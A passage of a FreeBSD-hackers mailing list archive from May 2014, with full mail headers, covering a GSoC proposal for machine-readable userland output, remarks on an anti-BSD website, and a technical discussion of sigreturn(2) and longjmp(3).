b=otgqbfy12X8xRb4oSQe58rCl4NYZo16ty+gqtU5H5yfGU3ChjWFkjWZ2JYkpl0p13e qSqxG0MAWoceeLbE89qZoZKm7P9wTXtKUq+qzcJmURlPAiR68gOJGJvW1F2H78fQvCLf 4WVExRyTqW51FeQoI8pKv4Wo0Fi1ws27jL6XPCiFqTjMudK101zjrSmmAfFYklan6SFU 34LIJfntwsY0mQh65beg2M0ZiK7Ol1B1O435JDYWNcuYr7FZUwhScJtUTWEWCbQi27Qx E/59GjABftBb97naCE03t0gO3DYc4wcDZAbGL0MogdULmRePYYrfzo4DdQ3Nd2OegiaC SNXw== X-Received: by 10.194.91.175 with SMTP id cf15mr5227781wjb.5.1400860937066; Fri, 23 May 2014 09:02:17 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.122.201 with HTTP; Fri, 23 May 2014 09:01:46 -0700 (PDT) In-Reply-To: References: From: arrowdodger <6yearold@gmail.com> Date: Fri, 23 May 2014 20:01:46 +0400 Message-ID: Subject: Re: who pay for such webpages? To: Wojciech Puchar Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:02:19 -0000 On Fri, May 23, 2014 at 5:17 PM, Wojciech Puchar < wojtek@wojtek.tensor.gdynia.pl> wrote: > http://aboutthebsds.wordpress.com/ > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > >These CLANG binaries have problems with speed, size and memory consumption. >They are also notorious for memory leaks. Since when GCC automatically plugs leaks in my code? Or is it clang adds its own? Verdict: shitty site by Linux fanatic. From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:04:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE33B302 for ; Fri, 23 May 2014 16:04:29 +0000 (UTC) Received: from mail-qg0-x22c.google.com (mail-qg0-x22c.google.com [IPv6:2607:f8b0:400d:c04::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8E2632C3D for ; Fri, 23 May 2014 16:04:29 +0000 (UTC) Received: by mail-qg0-f44.google.com with SMTP id i50so8246834qgf.17 for ; Fri, 23 May 2014 09:04:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=aCiR4BYpbaXTp2V8IZFPNeo6TJs0UXb4TVYkLAZbiSU=; b=olNkcaodw59rY/CDGwyznM9TGBjjwxFdOMIUAzMJySZaklfj2gBYtOvlYPQOtW1VP7 Grwff9scKgjgbmzCjjG9ZT7t1xLMfOYZA91iS9NSqW8DZ5F3DLinEjdhKZUoySot3lk6 QTPsN8Rl/Ld3OvRr9qxUS9qJTnF+DusTOSoQLRhGlRqeHxqNMQ/oyw5PJTMqLHMZUFI0 D+XRipRdsa44xWhc1Z2tsR921PWQz2qXuHWba9ZaloJqc2pm/LjNz9/yg9RkVSIqrwfK k8c+tEzHnr8HJHhSSU5fSROhJobxA48X+1oVB/GsJlZopYEs5fbWLmoug6Vj6/mzK1P5 uJfg== MIME-Version: 1.0 X-Received: by 10.140.96.51 with SMTP id j48mr7892010qge.24.1400861068697; Fri, 23 May 2014 09:04:28 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Fri, 23 May 2014 09:04:28 -0700 (PDT) In-Reply-To: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> Date: Fri, 23 May 2014 09:04:28 -0700 X-Google-Sender-Auth: gxsvgoQFV6sNLeTHfz3v0FaNVqQ Message-ID: Subject: Re: [GSoC] Machine readable output from userland utilities From: Adrian Chadd To: Jos Backus Content-Type: text/plain; charset=UTF-8 Cc: FreeBSD Hackers , Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:04:29 -0000 Hey all, I'd actually prefer that some library API (like what's in libstatfoo) gets fleshed out to cover what hooks and options are required so you don't have to have the bikeshed argument of "what format." You only need to write some code to output it in the format you want. The UNIX way is tools, not policy. The library is a policy, sure, but it's a policy to let you define your own policies. It won't be locking anyone into anything like "json or bust." So how about the focus be on that, rather than trying to teach individual tools about individual encoding types? -a On 23 May 2014 08:38, Jos Backus wrote: > On May 23, 2014 2:15 AM, "Alfred Perlstein" wrote >>point to note is that the intent is to have an output that is very > consumable by modern scripting languages and modules. That would very > likely be JSON output. >> >> -Alfred > > I'd actually prefer YAML output. YAML is a much more expressive superset of > JSON (YAML parsers can read JSON), but given that VHS beat out BetaMax, I > fully expect JSON to win, and YAML to fade into oblivion. Sad. > > Jos > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:21:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 41FA3752 for ; Fri, 23 May 2014 16:21:10 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [192.99.32.153]) by mx1.freebsd.org (Postfix) with ESMTP id 1856D2DCF for ; Fri, 23 May 2014 16:21:09 +0000 (UTC) Received: from tds-solutions.net (localhost [127.0.0.1]) by tds-solutions.net (Postfix) with ESMTP id AF3BCFEE09; Fri, 23 May 2014 12:21:05 -0400 (EDT) X-Virus-Scanned: amavisd-new at tds-solutions.net Received: from tds-solutions.net ([127.0.0.1]) by tds-solutions.net (tds-solutions.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id fop51nPolEek; Fri, 23 May 2014 12:21:05 -0400 (EDT) Received: from [192.168.1.35] (24-177-51-95.dhcp.oxfr.ma.charter.com [24.177.51.95]) (Authenticated sender: sorressean) by tds-solutions.net (Postfix) with ESMTPSA id 284A4FECD2; Fri, 23 May 2014 12:21:05 -0400 (EDT) Message-ID: <537F7594.5080003@tysdomain.com> Date: Fri, 23 May 2014 12:21:40 -0400 From: "Littlefield, Tyler" Reply-To: tyler@tysdomain.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: arrowdodger <6yearold@gmail.com>, Wojciech Puchar Subject: Re: who pay for such webpages? References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:21:10 -0000 On 5/23/2014 12:01 PM, arrowdodger wrote: > On Fri, May 23, 2014 at 5:17 PM, Wojciech Puchar < > wojtek@wojtek.tensor.gdynia.pl> wrote: > >> http://aboutthebsds.wordpress.com/ >> >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> >> These CLANG binaries have problems with speed, size and memory consumption. >> They are also notorious for memory leaks. > Since when GCC automatically plugs leaks in my code? Or is it clang adds > its own? > > Verdict: shitty site by Linux fanatic. I actually stumbled across that yesterday and found it hilarious. Please note the horrible spelling, grammar and lack of any decent comments; they're usually just a bunch of cursing at BSD. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:30:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 29D33DBB for ; Fri, 23 May 2014 16:30:55 +0000 (UTC) Received: from mail-qg0-x22b.google.com (mail-qg0-x22b.google.com [IPv6:2607:f8b0:400d:c04::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DCAFC2E9F for ; Fri, 23 May 2014 16:30:54 +0000 (UTC) Received: by mail-qg0-f43.google.com with SMTP id 63so8593706qgz.30 for ; Fri, 23 May 2014 09:30:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=eH21r3G8rrZaikZpBfwpBBtLiSZ4pSHR3cEtGHQFq5A=; b=BUSfDwJRVxY1CYiQ1zHcoxFR8ynjmsVqLs3q2EPzwOPt+hwG0/WjS2HZVa752e75jf EaBaQhRXgOEqYWB9Sgasxh3619FQcDoRNt3lVxQmNr7g2gBn8p+Nff1xA4GkhWvzte07 n/jzVcaiJLIocgSmh05ySebNSG26kbLUzfqxcHAhkjbjOWMeRFnk5UC9/fyvUX8biN1d 6iQgDg0V7UxHEHLoeDMMYbdqyHLf7u7Vj4SDdaqyQDXDc97B3xIvpHvdcvdXewmj7CI3 ViWhfrPrM299fw0fVmqj/kthvrznN+fsXQ5Eqjex/KngkEztWzVRrPcUSfwwgfO0ZrLO koFQ== MIME-Version: 1.0 X-Received: by 10.140.35.212 with SMTP id n78mr7743170qgn.87.1400862654034; Fri, 23 May 2014 09:30:54 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Fri, 23 May 2014 09:30:53 -0700 (PDT) In-Reply-To: <9D7D4A7D-31F0-45D8-8C16-977D4FA879D6@gmail.com> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> <9D7D4A7D-31F0-45D8-8C16-977D4FA879D6@gmail.com> Date: Fri, 23 May 2014 09:30:53 -0700 X-Google-Sender-Auth: sZx-rbDLLkwu8lnxgwG8LSf0Wto Message-ID: Subject: Re: [GSoC] Machine readable output from userland utilities From: Adrian Chadd To: Jonathan Anderson Content-Type: text/plain; charset=UTF-8 Cc: Alfred Perlstein , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:30:55 -0000 ayup. -a On 23 May 2014 09:11, Jonathan Anderson wrote: > On 23 May 2014, at 13:34, Adrian Chadd wrote: > > I'd actually prefer that some library API (like what's in libstatfoo) > gets fleshed out to cover what hooks and options are required so you > don't have to have the bikeshed argument of "what format." You only > need to write some code to output it in the format you want. > > The UNIX way is tools, not policy. The library is a policy, sure, but > it's a policy to let you define your own policies. It won't be locking > anyone into anything like "json or bust." > > So how about the focus be on that, rather than trying to teach > individual tools about individual encoding types? > > > I think that's pretty much what the proposal says: > >> I'm planning to create a unified output abstraction in the form of a >> library. The tools supporting the machine-readable output feature >> will write output exclusively using the library. The exact output format >> will be customizable. Several backend libraries (like libucl and libnv) >> can be used to implement different formats. > > Am I perhaps misunderstanding you, and you're actually saying "let's not get > distracted by bikesheds, the proposal is terrific as-is"? > > > Jon > -- > Jonathan Anderson > > jonathan@FreeBSD.org > http://freebsd.org/~jonathan/ From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:32:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6F891EB3 for ; Fri, 23 May 2014 16:32:24 +0000 (UTC) Received: from mail-oa0-x22d.google.com (mail-oa0-x22d.google.com [IPv6:2607:f8b0:4003:c02::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 391A42EB7 for ; Fri, 23 May 2014 16:32:24 +0000 (UTC) Received: by mail-oa0-f45.google.com with SMTP id l6so5887615oag.18 for ; Fri, 23 May 2014 09:32:23 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=M3DqTqc8Hf80Ebv7AMj3QKYP7s4z8Olqb0I+70k1p6g=; b=ePH9cMj79g1ov2u+bJOrVf3FXbfeP5m6gN3kRtFRM5a4X1oUoHwGYDWC9VQGNfipUN NdZ8WuN58Dq/DFJEFPVx8sCxWn6KNN8aytCZALE+xTCm18Sl2p/SC66tReB7MtWSNtlv F4IeGjbtxptWJnYAUYZizC0p8m+Gk6svCO7fNCQXgTu4hXdvT9YnfpdULgYtewIAWzuO XhLHTY3tV1WR1Gvpy8nnD6JekMVKrsJO4/WnyJWrRYHJ0jCUv6BooXQ5gGgov1GuOvsj 6Zxg3T707vwMaHL3Pp2E5ZQ1n5G/dvLOLrQq884Df27hmlHzAcqQBPa7vFyyw9MTX2Jf Kjdw== MIME-Version: 1.0 X-Received: by 10.60.57.164 with SMTP id j4mr6361336oeq.24.1400862743586; Fri, 23 May 2014 09:32:23 -0700 (PDT) Received: by 10.76.167.164 with HTTP; Fri, 23 May 2014 09:32:23 -0700 (PDT) In-Reply-To: References: Date: Fri, 23 May 2014 09:32:23 -0700 Message-ID: Subject: Re: who pay for such webpages? From: Freddie Cash To: Wojciech Puchar Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:32:24 -0000 On Fri, May 23, 2014 at 6:17 AM, Wojciech Puchar < wojtek@wojtek.tensor.gdynia.pl> wrote: > http://aboutthebsds.wordpress.com/ > > =E2=80=8BIt's a known anti-BSD trolling website. Just ignore it. Don't = even waste your time trying to correct anything via the comments as the site admin just deletes truthful, pro-BSD comments.=E2=80=8B --=20 Freddie Cash fjwcash@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:37:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A9703C8 for ; Fri, 23 May 2014 16:37:44 +0000 (UTC) Received: from smtp9.server.rpi.edu (gateway.canit.rpi.edu [128.113.2.229]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D03D92EFE for ; Fri, 23 May 2014 16:37:42 +0000 (UTC) Received: from smtp-auth1.server.rpi.edu (smtp-auth1.server.rpi.edu [128.113.2.231]) by smtp9.server.rpi.edu (8.14.3/8.14.3/Debian-9.4) with ESMTP id s4NGUmdF025617; Fri, 23 May 2014 12:30:48 -0400 Received: from smtp-auth1.server.rpi.edu (localhost [127.0.0.1]) by smtp-auth1.server.rpi.edu (Postfix) with ESMTP id 6153D58114; Fri, 23 May 2014 12:30:48 -0400 (EDT) Received: from [172.16.61.1] (gilead.netel.rpi.edu [128.113.124.121]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: drosih) by smtp-auth1.server.rpi.edu (Postfix) with ESMTPSA id 574375800E; Fri, 23 May 2014 12:30:47 -0400 (EDT) From: "Garance A Drosehn" To: "Jos Backus" Subject: Re: [GSoC] Machine readable output from userland utilities Date: Fri, 23 May 2014 12:30:38 -0400 Message-ID: <75591BB0-4CF9-49F8-875C-FD5AAEA7A419@rpi.edu> In-Reply-To: References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> MIME-Version: 1.0 X-Mailer: MailMate (1.7.2r3905) X-Virus-Scanned: ClamAV using ClamSMTP X-Bayes-Prob: 0.0001 (Score 0, tokens from: outgoing, @@RPTN) X-Spam-Score: 0.00 () [Hold at 15.10] X-CanIt-Incident-Id: 02M5suMSf X-CanIt-Geo: ip=128.113.124.121; country=US; region=New York; city=Troy; latitude=42.7495; longitude=-73.5951; http://maps.google.com/maps?q=42.7495,-73.5951&z=6 X-CanItPRO-Stream: outgoing X-Canit-Stats-ID: Bayes signature not available X-Scanned-By: CanIt (www . roaringpenguin . com) on 128.113.2.229 Cc: FreeBSD Hackers , Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:37:44 -0000 On 23 May 2014, at 11:38, Jos Backus wrote: > On May 23, 2014 2:15 AM, "Alfred Perlstein" wrote >> point to note is that the intent is to have an output that is very >> consumable by modern scripting languages and modules. That would >> very likely be JSON output. >> >> -Alfred > > I'd actually prefer YAML output. YAML is a much more expressive > superset of JSON (YAML parsers can read JSON), but given that VHS > beat out BetaMax, I fully expect JSON to win, and YAML to fade > into oblivion. Sad. > > Jos FWIW, I've also been interested in doing something like this in the lpr-related programs, although I haven't had much spare time to work on it in the last few years. Another format which looks interesting to me is EDN (Extensible Data Notation), from the world of Clojure/ClojureScript. It looks like there are modules for working with EDN in ruby, python, and perl. https://github.com/edn-format/edn -- Garance Alistair Drosehn = drosih@rpi.edu Senior Systems Programmer or gad@FreeBSD.org Rensselaer Polytechnic Institute; Troy, NY; USA From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:46:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 024298CE for ; Fri, 23 May 2014 16:46:12 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 74C912FDB for ; Fri, 23 May 2014 16:46:10 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s4NGjphs026068; Fri, 23 May 2014 18:45:51 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.8/8.14.7/Submit) with ESMTP id s4NGjpad026065; Fri, 23 May 2014 18:45:51 +0200 (CEST) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 23 May 2014 18:45:51 +0200 (CEST) From: Wojciech Puchar To: Freddie Cash Subject: Re: who pay for such webpages? In-Reply-To: Message-ID: References: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Fri, 23 May 2014 18:45:52 +0200 (CEST) Content-Type: TEXT/PLAIN; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8BIT X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 16:46:12 -0000 just another proof of policy "test yourself, don't read opinions" On Fri, 23 May 2014, Freddie Cash wrote: > On Fri, May 23, 2014 at 6:17 AM, Wojciech Puchar wrote: > http://aboutthebsds.wordpress.com/ > > ?It's a known anti-BSD trolling website.  Just ignore it.  Don't even waste your time trying to correct anything via the comments as the site admin just deletes truthful, pro-BSD comments.? > > > -- > Freddie Cash > fjwcash@gmail.com > > From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 20:45:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A1A588C2; Fri, 23 May 2014 20:45:48 +0000 (UTC) Received: from h.highsecure.ru (h.highsecure.ru [144.76.31.167]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5F1A624CF; Fri, 23 May 2014 20:45:47 +0000 (UTC) Received: from [172.24.172.195] (global-2-11.nat.csx.cam.ac.uk [131.111.185.11]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: vsevolod@highsecure.ru) by h.highsecure.ru (Postfix) with ESMTPSA id E5CBC300335; Fri, 23 May 2014 22:45:07 +0200 (CEST) Message-ID: <537FB374.2000800@highsecure.ru> Date: Fri, 23 May 2014 21:45:40 +0100 From: Vsevolod Stakhov User-Agent: Mutt/1.5.22 (2013-10-16) MIME-Version: 1.0 To: Adrian Chadd Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 20:45:48 -0000 On 23.05.2014 17:04, Adrian Chadd wrote: > Hey all, > > I'd actually prefer that some library API (like what's in libstatfoo) > gets fleshed out to cover what hooks and options are required so you > don't have to have the bikeshed argument of "what format." You only > need to write some code to output it in the format you want. > > The UNIX way is tools, not policy. The library is a policy, sure, but > it's a policy to let you define your own policies. It won't be locking > anyone into anything like "json or bust." > > So how about the focus be on that, rather than trying to teach > individual tools about individual encoding types? That is actually exactly what I'm proposing by using UCL. Store output as UCL objects and convert them to a human readable output, json, xml, yaml, libnv. Moreover, libucl is already in the base, so it is worth to check if its capabilities is enough for the vast majority of userland tools. -- Vsevolod Stakhov From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 22:35:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9E3F85F7 for ; Fri, 23 May 2014 22:35:13 +0000 (UTC) Received: from mx1.stack.nl (relay04.stack.nl [IPv6:2001:610:1108:5010::107]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "mailhost.stack.nl", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 616B32D18 for ; Fri, 23 May 2014 22:35:13 +0000 (UTC) Received: from snail.stack.nl (snail.stack.nl [IPv6:2001:610:1108:5010::131]) by mx1.stack.nl (Postfix) with ESMTP id 3E72AB8057; Sat, 24 May 2014 00:35:10 +0200 (CEST) Received: by snail.stack.nl (Postfix, from userid 1677) id 2D1AB28497; Sat, 24 May 2014 00:35:10 +0200 (CEST) Date: Sat, 24 May 2014 00:35:10 +0200 From: Jilles Tjoelker To: Konstantin Belousov Subject: Re: Use of sigreturn(2) in longjmp(3). Message-ID: <20140523223509.GB29378@stack.nl> References: <20140522155418.GX74331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140522155418.GX74331@kib.kiev.ua> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: Keno Fischer , freebsd-hackers@freebsd.org, Benjamin Kaduk X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 22:35:13 -0000 On Thu, May 22, 2014 at 06:54:18PM +0300, Konstantin Belousov wrote: > On Thu, May 22, 2014 at 11:25:32AM -0400, Benjamin Kaduk wrote: > > On Thu, 22 May 2014, Keno Fischer wrote: > > > The sigreturn manpage states: > > > "This system call is used by the trampoline code and longjmp(3) when > > > returning from a signal to the previously executing program". > > > Now, I saw the system call in sigtramp.s, but I looked at setjmp.s can't > > > find how longjmp does this. Am I missing something totally obvious? > > I expect this is just stale documentation. > > Unfortunately, some quick poking at the svn log for > > sys/i386/i386/support.s does not make it immediately clear when the code > > changed to not match the documentation. > support.s is not related to the issue discussed. > Theoretically, sigreturn(2) might be required on some architectures, > where the raw access to the usermode CPU state requires supervisor CPU > state. AFAIK all architectures FreeBSD runs on either do not have this > quirk, or limit the state saved and restored in the setjmp/longjmp > functions, to the state accessible to the usermode. > For instance, even on x86, the TLS base is not saved and consequently > not restored by *jmp(3), and cannot be accessed directly by usermode, > while sigreturn(2) allows to perform full context modification, including > TLS base. > Some implementations of longjmp(3)-like functionality, e.g. the one > provided by libunwind, do utilize sigreturn(2) to unwind over the signal > frame. The remark about sigreturn(2) is part of a TODO comment. It would be better to use some sort of system call to restore the signal mask, program counter and stack pointer in one operation so that stack usage is reduced if the new mask permits more signal handlers. For example, if a program uses longjmp() in a SIGINT handler to return to the top level, the current code allows the SIGINT handler to be re-entered between the _sigprocmask call and the final return instruction in the longjmp() function. If this happens repeatedly, a stack overflow could result. If the signal handler returns normally, the sigreturn(2) system call restores the signal mask and stack pointer in one operation, so the problem does not occur. Using sigreturn(2) for this purpose would require trickery for the FPU and may be slower than the current implementation. Regarding the TLS base, saving and restoring it does not seem to make much sense since the TLS base is constant for each thread and it is not permitted to longjmp() to an environment saved by a different thread. Regarding the other segment registers and base, I don't think it's worth the performance decrease and ABI break to save them for a few special programs that use them. -- Jilles Tjoelker From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 23:57:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 466A8193 for ; Fri, 23 May 2014 23:57:46 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4E04C2327 for ; Fri, 23 May 2014 23:57:45 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=NgyRMTI6PVcDTY+Dd6RF+/CLKU6MkHe9vX+jqACFtgA=; b=AcqFGUCSlM3x+00TZE1DQoh3qLyCmKrQ+yD9s8CFLcZJOjsjZQjHCuQq0VMGlHGqtCjfLJzun/pT2j+axy93VHO04xjdtcIRNZHRBp53vjJYbjHdKwTHO6fOGuRjw04gQrhN6DEdh/oVMeOKVguLZjVQoqZuIaMRDeGd3evFhVE=; Received: from [39.197.240.101] (port=34761 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 